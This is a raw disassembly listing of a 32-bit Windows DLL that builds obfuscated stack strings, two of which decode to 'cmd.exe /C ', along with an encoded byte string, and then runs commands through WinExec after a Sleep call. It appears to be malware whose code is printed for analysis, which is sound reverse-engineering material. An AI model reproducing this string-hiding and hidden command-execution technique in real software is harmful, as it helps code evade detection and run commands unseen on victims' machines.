mov esp, eax
lea ecx, [ebp - 0xd84]
call fcn.100061b0
lea ecx, [ebp - 0xd90]
call fcn.1004fcd0
lea ecx, [ebp - 0xd6c]
call fcn.100061b0
lea ecx, [ebp - 0x38]
call fcn.10008340
jmp 0x10067c7e
mov byte [ebp - 0xe04], 0xc8
mov byte [ebp - 0xe03], 0xce
mov byte [ebp - 0xe02], 0xce
mov byte [ebp - 0xe01], 0xf1
mov byte [ebp - 0xe00], 0xc3
mov byte [ebp - 0xdff], 0xfb
mov byte [ebp - 0xdfe], 0xb3
mov byte [ebp - 0xdfd], 0xc6
lea eax, [ebp - 0xe04]
mov dword [ebp - 0xdfc], eax
lea eax, [ebp - 0xe04]
add eax, 8
mov dword [ebp - 0xdf8], eax
lea ecx, [ebp - 0xe05]
call fcn.1004f950
jmp 0x10067d34
jmp 0x10067e75
jmp 0x10067eca
mov eax, dword [ebp - 0x1104]
lea ecx, [ebp - 0xdb8]
mov dword [eax], ecx
lea ecx, [ebp - 0xde8]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xdd0]
mov dword [eax + 0x20], ecx
jmp 0x10067f8f
jmp 0x1006803f
jmp 0x10068103
jmp 0x100681df
jmp 0x100682d0
jmp 0x100683fc
jmp 0x100684d1
jmp 0x100685c5
jmp 0x10068651
lea ecx, [ebp - 0xe38]
call fcn.100061b0
lea ecx, [ebp - 0xe50]
call fcn.100061b0
lea ecx, [ebp - 0xe68]
call fcn.100061b0
lea ecx, [ebp - 0xe80]
call fcn.100061b0
lea ecx, [ebp - 0xe98]
call fcn.100061b0
lea ecx, [ebp - 0xeb0]
call fcn.100061b0
lea ecx, [ebp - 0xec8]
call fcn.100061b0
lea ecx, [ebp - 0xee0]
call fcn.100061b0
lea ecx, [ebp - 0xef8]
call fcn.100061b0
lea ecx, [ebp - 0xf10]
call fcn.100061b0
lea ecx, [ebp - 0xf28]
call fcn.100061b0
lea ecx, [ebp - 0xe20]
call fcn.10008340
jmp 0x100686b5
jmp 0x100687cc
lea ecx, [ebp - 0xf40]
call fcn.100061b0
sub esp, 4
mov dword [esp], 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xfcd]
lea eax, [0x10227a71]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x49
call fcn.101f00f0
add esp, 0xc
lea eax, [ebp - 0xfcd]
mov dword [ebp - 0xf84], eax
lea eax, [ebp - 0xfcd]
add eax, 0x49
mov dword [ebp - 0xf80], eax
lea ecx, [ebp - 0xfce]
call fcn.1004f950
jmp 0x10068893
mov byte [ebp - 0x1007], 0x63
mov byte [ebp - 0x1006], 0x6d
mov byte [ebp - 0x1005], 0x64
mov byte [ebp - 0x1004], 0x2e
mov byte [ebp - 0x1003], 0x65
mov byte [ebp - 0x1002], pe_nt_image_headers32
mov byte [ebp - 0x1001], 0x65
mov byte [ebp - 0x1000], 0x20
mov byte [ebp - 0xfff], 0x2f
mov byte [ebp - 0xffe], 0x43
mov byte [ebp - 0xffd], 0x20
lea eax, [ebp - 0x1007]
mov dword [ebp - 0xffc], eax
lea eax, [ebp - 0x1007]
add eax, 0xb
mov dword [ebp - 0xff8], eax
lea ecx, [ebp - 0x1008]
call fcn.1004f950
jmp 0x100689fc
lea ecx, [ebp - 0xfe8]
call fcn.100061b0
lea ecx, [ebp - 0xff4]
call fcn.1004fcd0
lea ecx, [ebp - 0xf70]
call fcn.100061b0
lea ecx, [ebp - 0xf7c]
call fcn.1004fcd0
lea ecx, [ebp - 0xf58]
call fcn.10008340
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x105d]
lea eax, [0x10227aba]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x29
call fcn.101f00f0
add esp, 0xc
lea eax, [ebp - 0x105d]
mov dword [ebp - 0x1034], eax
lea eax, [ebp - 0x105d]
add eax, 0x29
mov dword [ebp - 0x1030], eax
lea ecx, [ebp - 0x105e]
call fcn.1004f950
jmp 0x10068b2b
lea ecx, [ebp - 0x102c]
call fcn.1004fcd0
lea ecx, [ebp - 0xe20]
call fcn.10008340
mov byte [ebp - 0x10c7], 0x63
mov byte [ebp - 0x10c6], 0x6d
mov byte [ebp - 0x10c5], 0x64
mov byte [ebp - 0x10c4], 0x2e
mov byte [ebp - 0x10c3], 0x65
mov byte [ebp - 0x10c2], pe_nt_image_headers32
mov byte [ebp - 0x10c1], 0x65
mov byte [ebp - 0x10c0], 0x20
mov byte [ebp - 0x10bf], 0x2f
mov byte [ebp - 0x10be], 0x43
mov byte [ebp - 0x10bd], 0x20
lea eax, [ebp - 0x10c7]
mov dword [ebp - 0x10bc], eax
lea eax, [ebp - 0x10c7]
add eax, 0xb
mov dword [ebp - 0x10b8], eax
lea ecx, [ebp - 0x10c8]
call fcn.1004f950
jmp 0x10068c8b
jmp 0x10068e4f
jmp 0x10068ef9